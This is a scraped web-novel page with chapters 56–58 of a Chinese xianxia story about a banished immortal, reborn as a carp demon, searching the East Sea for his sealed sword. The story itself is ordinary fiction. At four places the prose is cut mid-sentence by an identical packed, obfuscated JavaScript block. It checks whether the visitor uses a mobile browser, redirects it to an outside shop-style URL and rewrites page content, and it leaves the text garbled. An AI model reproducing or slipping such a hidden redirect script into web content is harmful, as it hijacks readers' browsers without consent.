“整整三百年都无声无息,怎么偏偏在这个时候神光乍现?” “那就只有天知道了。肯定是有什么机缘,才让这柄仙剑突然爆出神光。” “仙剑日月明还有神光在,看来仍是一件法力不小的神兵。如果能够得到它,一定大有好处吧?” “那是自然,就是竞争对手太多了。眼下聚集在昌城的人,估计十个里头有八个都想把这柄仙剑据为己有。” “难怪万象宗这回来了不少人,还是崇义真人带队,看来也是冲着仙剑日月明来的。” “如今万象宗为修真界的头号宗门,仙剑日月明如果现世了,他们自然是不希望它落入其他宗门手里。” “可明光当年出身无极宗,他的仙剑是不是应该归属无极宗呢?” “话虽如此,但如今的无极宗有实力竞争这一神兵吗?如果万象宗先他们一步找到仙剑日月明,他们是肯定没本事抢回来的。” “还有一件事你们都忘了,仙剑日月明的主人,才是最有资格拥有它的人。就是明光遭贬已经三百年,一直没有任何消息,也很奇怪呢。” “有什么奇怪的,像这种顺风顺水惯了的人根本经不起风浪,一旦栽跟头十有八九就废了。这会儿没准正像滩烂泥似的龟缩在哪个旮旯里等死,搞不好还有可能自己了断了。” “这倒也是,如果换作我是他,没准早就疯了。” “也不知他当年是怎么想的,都已经成了云间仙境一人之下万人之上的灵曜天君,还得陇望蜀地企图取代帝君,结果自己把自己的前程断送了。” “断送了自己是他活该,就是无极宗也被他连累惨了!如果不是还有华源真君在,昔日的天下第一修真门派,没准早就已经查无此派。” “对了,东海有异象,华源真君应该也不会闲着,想来会下凡走一趟吧?” “肯定的,只是不会轻易现出真身,会以凡人的模样出现。没准这酒楼里的客人中,哪一位就是华源真君在微服出巡呢。” 一名修士随口开玩笑的话,却阴差阳差地说中了。 后头雅座上一位自斟自饮的蓝衫男子,正是华源真君越君朴。 . 东海有异象出现,身为东海守护神的越君朴获悉后,就亲自下凡来一探究竟。 越君朴前年才在东海力斩了一只巨鼋妖,肃清了东海海域,按理不可能这么短的时间内又出现新的大妖才对。 东海忽现异象一事,令他很是费解。 下凡来到东海巡查后,越君朴才得知从海底喷出的水柱既有黑气又有神光,心里顿时一突。 有黑气也就罢了,无非就是有妖魔鬼怪在东海作祟。 有神光则意味着海底有神兵存在,而这一神兵只有可能是仙剑日月明。 三百年前,是越君朴负责贬谪明光下凡。 按惯例,明光的仙剑日月明也随主人一同贬落凡间。他把剑封印后就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13532979|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随手一抛,也不知落在了天南地北哪个角落。 没想到多年之后,这一神兵居然在东海迸出了神光。虽然只是隐约的金色光芒,却也无形中说明封印已经有所松动。 越君朴原本还以为,自己至少能将仙剑日月明封印五百年以上,然而现实却啪啪打脸地告诉他:你不行,明光的仙剑你封不了五百年。 抄起桌上的小半壶残酒,越君朴神色郁然地一口饮尽,扬声道:“小二,再来一壶酒。” 胸中块垒须酒浇,一壶一壶又一壶。 越君朴不知不觉喝光了好几壶酒,桌上的下酒菜却几乎没动。整个人带上几分醉意时,他无意中瞥见窗外的街道斜对面站着一个小乞儿。 那小乞儿衣衫褴褛,蓬头垢面,手里捧着一只空空如也的破碗,一目了然没能乞讨到什么能果腹充饥的东西,傻愣愣地站在街头发呆,看起来有些可怜。 越君朴不禁动了恻隐之心,“小孩,过来。” . 从缥缈峰出发前往东海时,阿难服下了最后一丸灵丹。 等花上七天时间将丹药精华完全融入自身精气后,他的修为将更胜往昔。在此之前,他不想变回成年人的外形,还是以小孩的身份露面更安全。 两天后,阿难抵达海中洲。 他先跑去昌城最热闹的街市,端着一只豁了口的破碗,一边兢兢业业扮演着小乞儿的角色,一边竖起耳朵探听消息。 得知东海出现的异象后,对于黑气与神光并存的矛盾现象,阿难不觉心里一动,脚步一顿,立在原地陷入沉思中。 “小孩,过来。” “小孩,你过来。” 一再响起的叫声,沉思中的阿难都没有在意,直到脚踝处的虎头铃铛似有若无地叮了一声,他才蓦地回过神来。 抬头望去,望见街道斜对面的一扇轩窗中,临窗而坐的蓝衫男子正在朝他招手。 来到海中洲之前,阿难就设想过可能又会遇上越君朴。 毕竟他是云间仙境最爱下凡巡视的仙官,没有之一。不过眼下这种情况,却是出乎他的意料。 阿难是妖,越君朴是仙,就算有虎头铃铛这一法宝帮助他掩盖妖气,也还是要尽量避免跟神仙正面打交道,万一被识破可就不妙了。 关键时刻阿难稳得住,没有慌。 他堆出满脸怯生生的神色,不但没有走过去,相反还后退了两步。一副被人嫌弃惯了、欺负怕了的小乞儿作派,对他人保持着高度警惕心理。 越君朴也没有勉强,而是招手叫来店小二,让他把自己桌上一盘还没动过的黄鱼鲞烤肉送过去给小乞儿。 “小叫花,你今天走运,那位公子把这盘菜赏给你吃。” 店小二一边说,一边把那盘黄鱼鲞烤肉倒进阿难那只豁了口的破碗中。 隔着人来人往的宽敞街道,“小乞儿”目光深深地看了越君朴一眼,小脸蛋堆出一个发自肺腑的感激笑容——虽然是演的,但是足够以假乱真。 “多谢公子菩萨心肠。” 56.复杂 听了小乞儿的感激之语,一连串复杂的情绪在越君朴心底涌动起来。他才不是什么菩萨心肠的人,至少对某些人来说不是。 当初贬明光下凡时,他故意开“错”了畜生道,那个明珠美玉般的少年仙官,将在下凡后沦为鱼虫禽兽之流。 明光没有飞升之前,越君朴在云间仙境过得很好。虽然地位不算很高,却也是青年才俊的仙官一枚,值得不少人高看一眼。 可是明光霞举飞升后,同为无极宗出身的越君朴,却作为一个对照组被比得黯然失色。 这位同宗的少年仙官,年纪比他小了十几岁,修为却比他高出一大截,地位更是令他望尘莫及——天君可是仅次于帝君的封号。 各方面都被压得死死的越君朴,与明光相比,有如明月在上流萤无光。 而更让他难堪的是,东海一带出了明光这位威名远扬的新武神后,人间凡界的信徒们大量倒戈,烧香祈福时都是首选明光的神庙,这让他情何以堪啊? 对明光的嫉妒与憎恨,如同蚂蚁般日复一日噬咬着越君朴的心。当有朝一日可以对他进行报复时,他半点儿也没有心慈手软。 虽然落井下石的做法有些小人,但越君朴觉得,反正明光那个犯上作乱的家伙也不是什么好东西,对付他不用讲君子那一套。 . 阿难只在昌城呆了半天,就出发前往太平岛。 人迹罕至的太平岛,没有普通百姓在此居住。岛上唯一的建筑,就是无极宗的仙府摩宵宫。 曾经的摩宵宫宫如其名,庄严宏伟的重重宫宇,傲然耸立于步云山的峰巅之上,无限接近云宵,仿佛抬手可摘星辰。 如今的摩宵宫,不过是荒岛上一座小巧玲珑的宫观。殿宇仅三重,还因为年久失修破败不堪,与昔日相比可谓是云泥之别。 阿难游到太平岛时,红日西斜的余晖正斜笼着整座岛屿。 岛屿最高处的山岗上,灰扑扑的摩宵宫,就算是被夕阳涂上了一层光灿灿的金色,那种残旧又落魄的气息还是藏不住。 阿难悄然上岸,朝着摩宵宫的方向走去,脚步很迟缓,心情很复杂——一种近乡情更怯的复杂。 他绕开前门,来到后门处偷偷跃墙而入,目标明确地找去了后殿。 不出他所料,后殿中陈列着历代无极宗宗主的牌位,在此接受后代子孙的香火供奉。 逐一端详着每个牌位上的名字,阿难很快就找到了自己想找的那一个——无极宗第九代宗主明公定远、夫人程氏雪卿。 他情不自禁地把牌位抱入怀里,泪如雨下:爹,娘,儿子回来了。 阿难就是三百年前遭贬的灵曜天君明光。 当年走畜生道下凡后,他投了鱼胎,困在北方大形山脉的一个高山湖泊中。就算归心似箭地想要回家,却根本无法离开湖泊哪怕一步。 花了三百年的时间苦苦修炼,他总算从鱼身化作人形,千里跋涉一路南下,终于回到了今非昔比的摩宵宫。 而昔日的严父慈母,早已经成为一块夫妻牌位。 . 摩宵宫的前殿,几位来自万象宗的贵客刚刚坐下。 负责端茶递水招待他们的,是一个有点憨憨的胖墩少年阿宽,才十二三岁半大小子的年纪。 落魄了三百年之久的无极宗,已经鲜少会有人前来拜师学艺。 所以宗门弟子少得可怜,计数时连十个手指头都不必全部用上,基本上都是捡回来的孤儿弃儿。 “请问阴宗主什么时候回来?” “不知道,大师姐没说。” “你们大师姐陪着宗主一起出去的吗?” “大师姐就是宗主啊!” 阿宽醒过神来一拍自己的脑袋瓜,“对了,我们得改口叫她宗主了。唉!怎么老是忘记呢。” . 数日前,无极宗的老宗主,阴有苓的父亲阴雄去世了,她女承父业成为了无极宗的现任宗主。 如果当年阴雄的大弟子晁定武跟阴有苓顺利完婚了,眼下就该是他以“半子”的身份当上无极宗宗主。 晁定武在婚礼当天消失不见了,阴有苓又不愿意再找他人成亲,临终前的阴雄,只能把无极宗托附给唯一的女儿。 “修真门派中,还从未有过女子当家作主的宗门。有苓,你成了第一位,其他宗门恐怕未必会承认呢。” “爹,不管他们认不认,我都会以宗主的身份守住无极宗。” “有苓,那爹就把无极宗交给你了,你一定要守好它知道吗?” “爹,您放心,男人能做到的事,我也能做到,女儿不会比他们差的。” 注视着女儿五官秀丽神色坚毅的面孔,阴雄欣慰地点头道:“很好,你娘给我生了一个好女儿,只可惜她走得早,现在我也该去陪她了。” 阴雄去世后,丧事一切从简,停灵三日便火化了遗体,将骨灰洒入碧海之中。 自无极宗在太平岛重建仙府以来,历代宗主的葬礼都简化至此。岛上不设陵园,所有人死后都以海葬的方式魂归大海。 阴雄海葬的第二天,东海便出现了异象。 刚刚成为宗主的阴有苓,第一时间单独乘船前往事发海域,这两天依然每天出海追查此事。 . 阿宽话里透露出来的信息,让万象宗的几位客人都听得大吃一惊。 惊讶过后,领头的崇义真人率先开口发问:“莫非阴雄阴宗主已经不在了?” 阿宽不无难过地点了点头:“嗯,老宗主几天前已经仙逝,现在是大师姐当宗主了。” 崇义真人一脸匪夷所思的表情,“简直荒唐,修真门派中从未有过女子当宗主的先例,阴雄怎能传位给女儿呢?” 阿宽反问道:“大师兄走了,老宗主不传位给大师姐还能传给谁呢?” “既然没有能够传承宗派的男弟子,说明宗门的气数已尽,没有存在的必要了。” 这些话阿宽听了火冒三丈,小胖墩立马像炮竹一样炸了。 “胡说八道,我们无极宗的气数才没尽呢!大师姐虽然是女子,但比很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555648|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子还要厉害。你这糟老头子,喝着我们宗门的茶,还瞧不起我们宗门的人,简直岂有此理。马上放下茶碗给我滚,你们几个统统滚。” 随着阿宽怒不可遏的话,几个原本在殿外探头探脑好奇张望的少年弟子,也都义愤填膺地一涌而入,七八张小嘴叽叽喳喳地配合他开炮轰人。 “滚滚滚,马上滚。瞧不起我们无极宗的人,没资格再喝我们的茶。” “对,我们的茶拿去喂猪喂狗也不给你们喝,因为你们猪狗不如。” 崇义真人一行虽然都修为不低,但也不可能跟一帮半大不小的孩子动手,以大欺小胜之不武,最终只能是灰头土脸地被扫地出门了。 一位年轻的万象宗弟子,愤愤不平地拍着腰间的佩剑。 “岂有此理,无极宗早就没落了,咱们万象宗如今是天下第一的修真门派。崇义真人亲自跑来拜会,已经够给面子了,结果他们不但轰咱们走,还骂咱们猪狗不如。要不是看他们是帮小孩子,我肯定一人给他们几剑不可。” 在万象宗,崇义真人是地位不低的重量级长老。 因为他是宗主的亲叔叔,无论走到哪儿都有人捧着敬着,这还是头一回被人撵鸭子似的撵出门。 崇义真人悻悻然地哼了一声。 “牝鸡司晨,自然是乱象频发。让一个女人当宗主,无极宗的气数真是尽了!老夫敢断言,无极宗数百年的历史,将在这个阴有苓手里彻底画上句号。” . 天黑后,一身劲装、肩负重剑的阴有苓,独自摇着一艘小船在太平岛靠岸,回到了摩宵宫。 “快看,大师姐回来了,大师姐回来了。” “笨蛋,是宗主——大师姐已经是宗主了!” “对对对,宗主回来了,宗主回来了。” 阿宽带着几位师弟师妹,一起欢天喜地地跑出来迎接阴有苓。还把他们轰走崇义真人一行的事告知她。 阴有苓听完后,给了他们一个赞许的眼神。 “做得好,那些看不起咱们的人,咱们也没必要对他们客气。” “收到,大师姐——不,啊宗主。” “对了宗主,万象宗的糟老公子那帮人走后不久,又有一位客人登门造访,说是你的朋友。” 阴有苓随口问道:“我的朋友?是男是女,姓甚名谁?” 阿宽回答道:“是位仙女一样的美人姐姐,她说她叫任天真。” 摩宵宫的前殿,崇义真人之前坐过的那张椅子,眼下坐着面若芙蓉色如玉的任天真。 她着一袭轻盈似雪的藕丝衫,系一条艳丽胜火的石榴裙,红白相衬,极是鲜妍明媚。 “阴姐姐,好久不见了。” “是啊,玉岭一别后,咱们还是头回见面。真真,多谢你之前帮我打听晁定武的消息。” 这一年来,任天真曾经通过传讯飞符和阴有苓联系过一次。 告知自己四处打听了很久,都没有听说哪位妖女与晁定武有瓜葛。以后如果有相关消息,一定会及时通知她。 57.海山 对于阴有苓的道谢,任天真娇笑道: “谢什么呀!我也没能帮你找到他的下落。不过你放心,我已经托了不少妖帮忙盯着呢,只要一有消息,就会一时间告诉我。” 顿了一下后,任天真还忍不住想替阴有苓打抱不平。 “阴姐姐,要是被我找到姓晁的家伙,我一定先帮你抽他几个大嘴巴子。不喜欢就直说不喜欢,我相信阴姐姐也不是没了他就不能活,把话说清楚后说不定你还不想要他了呢!可这家伙一声不吭直接逃婚,害得你被别人看笑话,实在太没担当了,真是可恶之极。” 阴有苓的两道目光错综复杂地闪烁着,欲言又止,最终开口时生硬地转移了话题。 “真真,你怎么跑到海中洲来了?该不会也是冲着东海异象来的吧?” “是啊,听说东海出了这么一档子奇事,我正好又在附近,就跑来看热闹了,也能顺便拜访一下你。阴姐姐,刚得知你现在是无极宗的新任宗主,老宗主已于日前仙逝,还望节哀顺变。” 阴有苓神色黯淡地点头道:“多谢。” 任天真也有意岔开话题,“对了阴姐姐,你后来有听说过阿难他们两个的消息吗?” “没有,你呢?” “也没有,你说他俩该不会没能躲过疫鬼的追杀,被咔嚓了吧?” “应该不至于。阿难那小妖机灵得很,阿难那小鬼也是个鬼精,为了活命他们一定会出尽百宝,绝不会轻易就被疫鬼弄死的。” “但愿如此,真不希望他俩有事呢!” 阴有苓也不希望阿难他们出事,毕竟这一妖一鬼的品性都不坏了。 “如果当日我能按原计划公布黑虎私自下凡吃人一事就好了,疫鬼甩锅厉鬼的计划失败,也就没必要再追杀他们。” 之前通过传讯飞符跟阴有苓取得联系时,任天真曾经问起过这件事,个中详情已经知晓。 “阴姐姐,这也不怪你呀,谁知道那个证据确凿的山洞会突然塌方了呢!” 阴有苓忍不住用力拍了一下桌子,愤慨万分。 “那个山洞早不塌晚不塌,偏偏在我布好结界后不到半个时辰,整座山都塌了方。一定是有人暗中动了手脚,不然哪有这么巧的事。” “确实不可能会有这么巧的事。如果不是太玄真君想要抹煞此事,就是有其他人在帮他善后。” 黑虎把人当成食物进餐的山洞,是它私自下凡吃人的铁证。 但是这个证据因为山体塌方消失得一干二净,阴有苓也就没法对外公布真相。 空口无凭的事她说了也没用,不但没人会相信,还会觉得她无中生中造谣诬蔑。 会这么做的人,最有可能是来自天界的仙官。 毕竟神仙座骑下凡吃人这么不光彩的事,说出去只会给云间仙境抹黑,自然是能不声张就不声张了。 . 清晨,一轮朝阳跃出海平线,阳光宛如碎金万点,撒满翡翠般湛碧的大海。 近海的海面上,已经有不少船只在波浪中载浮载沉着。 以往这些都是出海打渔的渔船,可是日前发生的东海异象,让渔民们都不敢出海了,打算观望几日再说。 倒是不少想要寻找神兵下落的修真人士,纷纷雇船出海寻宝。 太平岛上,阴有苓和任天真并肩而立,远远眺望着海面上的点点风帆。 “阴姐姐,你今天不打算出海了吗?” “不去了,我一连出海找了三天,什么都没有发现。无论海里藏着妖孽还是神兵,恐怕都不是人力所能找到的,只有神力才行吧!” 东海浩瀚无涯,万顷海水之下,是神秘莫测的海底世界。常人根本就下不去,修士也只能下到一定的深度就不行了。 “既然姐姐一连找了三天都毫无收获,那我也就不去白费力气了。妖孽也好,神兵也罢,反正我只是来看热闹的,就让那些人辛苦去吧!” . 任天真笑语嫣然地跟阴有苓交谈时,阿难已经从太平岛另一侧悄然入海,沿着近海的海床一路朝着远海游去。 驾船出海寻宝的那些人,只会漫无目的地在海面上四处乱转着碰运气。 阿难的目标却十分明确,那只虎头铃铛自动漂浮在主人眼前,如同一个引路者指引着他前进的方向。 海水越深,光线越暗。 当周围一切暗成伸手不见五指的漆黑时,虎头铃铛像一个小灯笼般绽放出光芒,在黑暗的海底世界映照出一方小小的明亮天地。 这里是一片巨龙般的海底山脉,高高低低的山峰连绵起伏,静静耸立于深海之中。 穿过重重山峦后,虎头铃铛在一座岩壁陡峭、山势险峻的海山前停住了。 阿难仰头张望,发现这座格外高耸挺拔的海山,依稀仿佛间有着宝剑的大致轮廓。 莫非这座海山,就是他当年的仙剑日月明所化?被封印的仙剑坠落凡间后,在三百年的漫长光阴中化作了山峰。 阿难感慨万千:大明,这三百年来,你原来一直在东海当大山,真是让我好找啊! 虽然好不容易找到了自己的仙剑,但阿难想要收回来却是一个难题。 当年的仙官如今沦为一介小妖,想让仙剑重新认回他这个主人,可不是一件容易的事。 阿难不管那么多,走一步是一步,先让仙剑恢复原形再说。 . 碧波荡漾的海面上,星星点点的船只散落四方。 船上的人要不下海一探究竟,要不在船上东张西望,试图找出一些不寻常的迹象。 一艘最大最气派的船是万象宗雇的,崇义真人昂首挺胸地站在船头,心腹弟子吴良侍立在他身后。 “师父,这里距离海岸线已经很远了,海底也就很深,即使派人下水查看,估计也难有什么发现。” 崇义真人也清楚这一点,但还是怀着一丝希冀。 “尽管如此,还是多派几个人尽量深潜下去看看。如有发现神兵者,重重有赏。” 修士的修为就算再高,毕竟还是血肉之躯,深潜到了一定的深度就不能再下去,否则会给自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575459|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来危险。 崇义真人想要得到仙剑日月明,为此不惜利诱门下弟子去为他拼命。 “是,师父。” 一批万象宗的弟子正准备潜入海中,海面下方突然传来一阵轰隆隆的巨响声,仿佛海底有什么东西在咆哮。 伴随着轰隆巨响的声音,原本平静的海水开始翻卷回旋起来,迅速形成一个巨大的漩涡。 东海异象再现,就算海上数艘船中的乘客全是修士,也还是纷纷大吃一惊。 尤其是眼见着那个巨大的漩涡形成,不少船只身不由己地被吸过去,更是惊骇不已。 “不好,船要保不住了,大家赶紧弃船御剑离开。” 万象宗的船距离漩涡最近,首当其冲地被卷了进去,崇义真人立刻带着船上所有弟子御剑飞上半空。 一时间,半空中多了许多御剑飞行的身影。绝大多数修士为了安全起见都飞出老远,与神秘出现的漩涡保持安全距离。 极少数艺高人胆大的修士,却还留在漩涡附近,居高临下地俯瞰着这一异象。 崇义真人就是其中之一。如果海底真有神兵存在,眼下的异象没准也与神兵有关。 除非是什么逼得他必须要立刻撤退否则就会没命的危险,否则他才不会轻易走人呢! . 海面上那个漩涡越来越大越来越急,很快把附近的所有空船一网打尽。 它们都在漩涡中被撞得粉身碎骨,就连残骸也被卷入海底消失得无影无踪。 当巨型漩涡的宽度与深度都达到十丈以上时,从漩涡幽深昏暗的中心处,突然飞出一个光灿灿亮闪闪的东西。 那是一柄长剑,从剑柄到剑鞘,都是灼亮无比的金色,光耀璀璨得宛如日月当空照。 崇义真人激动极了:“仙剑日月明,果真是它啊!” 自海底飞出来的仙剑日月明,在半空中定了片刻,还三百六十度地团团转了一圈,似乎在判断自己该去哪儿。 仙剑有灵,很快确定了自己该去的地方,金光一闪,如流星般朝着一个方向疾飞而去——那是步云山所在的方向。 碧海之中,已经浮出海面的阿难,遥遥目送着那柄径自飞远的仙剑,满脸都是哭笑不得的神色。 日月明是属于他的仙剑,他是它唯一的主人。 可是他如今这个鲤鱼精的小妖身份,却让仙剑根本就认不出来,直接丢下他飞去了步云山。 虎头铃铛悬浮在阿难耳边,叮叮当当的一通乱响,是气得要命的铃声,相当于破口大骂了。 “小铃,不能怪大明,我现在是妖不是仙,它认不出我很正常了。唉!以后再慢慢想办法吧!” 眼看仙剑日月明都闪亮登场了,崇文真人自然不肯错失机会,马上御剑追着跑。 不少和他怀着同样心思的修士,也纷纷紧随其后,活像一群逐血的苍蝇。 还有一些修为普通的修士,虽然自知没有实力将这柄仙剑占为据有,但至少可以跟去碰碰运气或看看热闹,便也争先恐后地飞向仙剑远去的方向。 58.一条狗 太平岛上,亲眼目睹了仙剑现世的阴有苓,依然定定地站在原处,眼神冰冷中又闪烁着怒焰。 仙剑日月明的主人明光,曾是无极宗最杰出的人物,没有之一。 当初他曾为无极宗带来过无上的荣耀,后来也让无极宗因其而衰败没落。真可谓是成也萧何,败也萧何。 时隔三百年,又见仙剑日月明,再联想起明光其人,身为现任宗主的阴有苓,忍不住恨恨地咬了一下牙。 这三百年来,作为无极宗一蹶不振的罪魁祸首,明光被历代宗主一次又一次地口诛笔伐。 如果不是他招来的那场雷火,昔日天下第一的修真门派,也不会败得这么快这么彻底。 “明光就是无极宗的千古罪人。” 这句盖棺定论式的话,阴有苓从小就耳熟能详,对明光自然是好感欠奉。 这个千古罪人遭贬下凡后一直音信全无,三百年过去了,始终没有他的任何消息。 没想到今日东海之中,却飞出了他的仙剑日月明。 “阴姐姐,我打算跟过去看看什么情况?你呢?” 任天真对于得到仙剑日月明并无兴趣,不过她还是很有兴趣过去看热闹了。 阴有苓简单扼要地吐出三个字,“我也去。” 仙剑的灵智会促使它想要找到主人,而明光也会希望寻回自己的仙剑。所以日月明所在的地方,极有可能会是明光出现的地方。 时隔三百年后,如果能再次见到这个无极宗的千古罪人,阴有苓打算以现任宗主的身份,指着明光的鼻子好好臭骂他一顿不可。 . 步云山,千姿百态的黑色石林,死气沉沉地矗立于蓝天之下,碧海之畔。 飞来此处后,仙剑日月明似乎也认不出这座昔日的灵山,在山顶上空犹犹豫豫地盘旋了好几圈。 不过它最终还是降落下来,连剑带鞘一起钉进了最高峰锦霞峰的山头。 崇义真人第一个追到步云山,远远望见金光灿灿的仙剑插在锦霞峰顶,他就迫不及待地想要拔剑带走。 垂直钉在黑石山巅上的仙剑,看似入地不过三寸,绝大部位剑体都露在外面,仿佛轻轻一拔就能拔出。 然而崇义真人使出了浑身的力气,都无法撼动它哪怕一分一毫。 “师父,要不我帮你吧。” 崇义真人的心腹弟子吴良也上前帮忙拔剑,可纵使合二人之力,依然无法将仙剑拔出。 不少修士陆陆续续地赶到了锦霞峰顶,也纷纷尝试着拔剑,却没有一个人成功。 当阴有苓和任天真一起飞到步云山后,有人心直口快地嚷道:“快看,无极宗的阴真人来了,不知道她能否拔出剑呢?” 崇义真人觉得有这种可能性,如果阴有苓能把仙剑拔出来,到时候他再从这位年轻女修手里夺剑,就容易多了。 “阴真人,你要不要也来拔一下剑?” 阴有苓定定地看了崇义真人一眼,直截了当地问道:“崇义真人,你明知我现在是无极宗的宗主,为何还称我为阴真人?” “阴真人,修真界中,还从未有过女子当宗主的先例,恕在下无法认同。” 其他修士这才得知无极宗的阴雄老宗主已经离世,传位给了唯一的女儿阴有苓。对于这位前所未有的女宗主,他们也纷纷摇头表示不认同。 “女子怎么能当宗主呢?” “是啊,女子成不了宗门之主,唯有男子才行。” “让一个女人当宗主领导整个宗门,无极宗也真是穷途末路了!” …… 在这些高高低低充满轻视的声音中,阴有苓神色傲然地昂起头颅,挺起胸膛,柔软又坚韧的窈窕身形,站得笔直挺拔如雪中劲松。 “你们爱说什么说什么,反正我阴有苓现在就是无极宗的宗主,不需要你们的认同。” 任天真在一旁笑盈盈地鼓掌道:“阴宗主好样的,我永远支持你。至于那些自以为是不肯认同你的臭男人,不服就让他们憋着吧!” 这个花明雪艳的大美人儿,惹来不少人行注目礼,就连年纪一大把的崇义真人,都不由自主地多看了她两眼。 “你又是谁?” “我是无极宗的朋友,也是力挺阴宗主的铁杆。” 任天真一派天真烂漫、娇憨动人的少女模样,让崇义真人不免看轻了她,把她当作初涉江湖不谙世事的小女修一枚。 “你小小年纪懂什么,女人是不可能像男人一样当宗主的。” “为什么不可能?历朝历代的男子固然是英雄辈出,却也同样出现过巾帼不让须眉的女英雄。替父从军的花木兰,登坛挂帅的樊梨花,为国捐躯的穆桂英,你们敢说她们比男人差吗?” 崇义真人不以为然地道:“花木兰,樊梨花,穆桂英,都是几百年才出一个的奇女子,阴有苓有资格跟她们相提并论吗?” “有没有这个资格,也要给她机会试试看才知道吧?如果当年花木兰没有女扮男装替父从军,如果樊梨花和穆桂英皆因女子身份不得挂帅出征,试问她们又怎能成为名满天下的巾帼英雄?” 任天真有理有据的反驳,让崇义真人无法不语塞,片刻后他果断决定撇开这茬说正事。 “眼下不是耍嘴皮子的时候,仙剑日月明现世,阴真人是无极宗的人,不妨先试试看能否拔出此剑吧!” 崇义真人想利用阴有苓拔剑,她才不想配合呢,很干脆地摇头道:“没兴趣。” “那你来干什么?” 任天真抿唇一笑道:“我们来看热闹的,不行吗?” 崇义真人气恼又无奈地拂袖而去,懒得再理会这两个“不可理喻”的女人。 . 步云山的上方,蓝天仿佛是一望无垠的碧海,朵朵白云如白帆般飘浮其间。 其中一朵白云上,越君朴独自迎风而立,衣袂在风中翩跹飞舞。他默默俯瞰着下界发生的一切,面孔僵硬如岩石。 数日前,隐约的神光闪现,说明仙剑日月明的封印已经有所松动。 不过短短几天功夫,这柄仙剑居然就破封而出,只能是有人出手解开了封印的结果。 想要解开仙剑封印的人,除了明光之外,还会有谁呢?而他居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591262|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然也做到了。 越君朴不自觉地握紧双拳:明光,真是想不到,你竟还有这样的能耐。 当年走畜生道下凡的谪仙,如今只能是妖怪一族。而三百年的修行不过只是小妖一枚,可明光却能解开仙官的封印。 一时间,越君朴都不知道究竟是自己太无能,还是明光太优秀,又抑或是两者皆有之。无论哪一种可能,都让他深感难堪。 而他也没有权利再去封印那柄仙剑。 一罪不二罚,无论是明光还是他的仙剑,三百年前都已经遭贬受过责罚了,再次封印没有道理。 如果有帝君之令又另当别论,但就算帝君办事也是要讲章程的,不能想一出是一出的不按天规行事。 不过,就算明光解开了仙剑的封印,想要日月明认回旧主人,却是比解封仙剑更困难的事。 毕竟他如今是妖族,一柄仙剑怎么可能会认一位妖主呢? 所以,破封而出的仙剑日月明,直接飞回了步云山。把自己钉入锦霞峰顶,立成了守株待兔的姿态,等待着主人归来。 越君朴暗中冷笑道:明光,我倒要瞧一瞧,你有什么法子让日月明接纳一个妖怪当主人。 . 此时此刻,阿难还在一碧万顷的东海里游着泳,他打算游去最近的海岸上岸。 日月明是能够自己飞来飞去的仙剑,说飞就飞走了。可是一介小妖的阿难,还不具备腾云驾雾的能耐。 既不能跟着它飞,也不能直接游去步云山。他毕竟不是东海水族,不适合长时间泡在咸涩的海水中。 游了好半天,阿难终于抵达了慈城一带的海岸线,四肢大张地躺在沙滩上休息了好久。 这一番海底寻剑,可是让他费了不少力气呢! 接下来,阿难并不急于赶去步云山。 仙剑日月明现世,定然会引来无数人的瞩目。这个时候跑过去,只会给自己惹麻烦,可不是聪明人的作派。 反正仙剑有灵,不是随便什么人就能带走的阿猫阿狗,他又何必急于一时? . 这一日,已经荒凉了三百年之久的步云山,突然变得热闹起来。无数修士闻讯纷沓而至,都想亲眼目睹一下仙剑日月明的神兵风采。 锦霞峰顶已经挤满了人,尝试拔剑者也大有人在,成功者却是一个都没有。 “没有人能拔出这柄仙剑,是不是只有它的主人才行啊?” “恐怕是呢,仙剑有灵,自然懂得忠于自己的主人。” “可是明光已经三百年没消息了,搞不好都已经死了吧?” “是啊,他是死是活都没人知道,应该也没人关心,眼下估计就只有这柄仙剑还在盼着主人露面呢。” 任天真听了他人的对话,再看着那柄孤零零死守原地的仙剑,不由自主地叹了一口气。 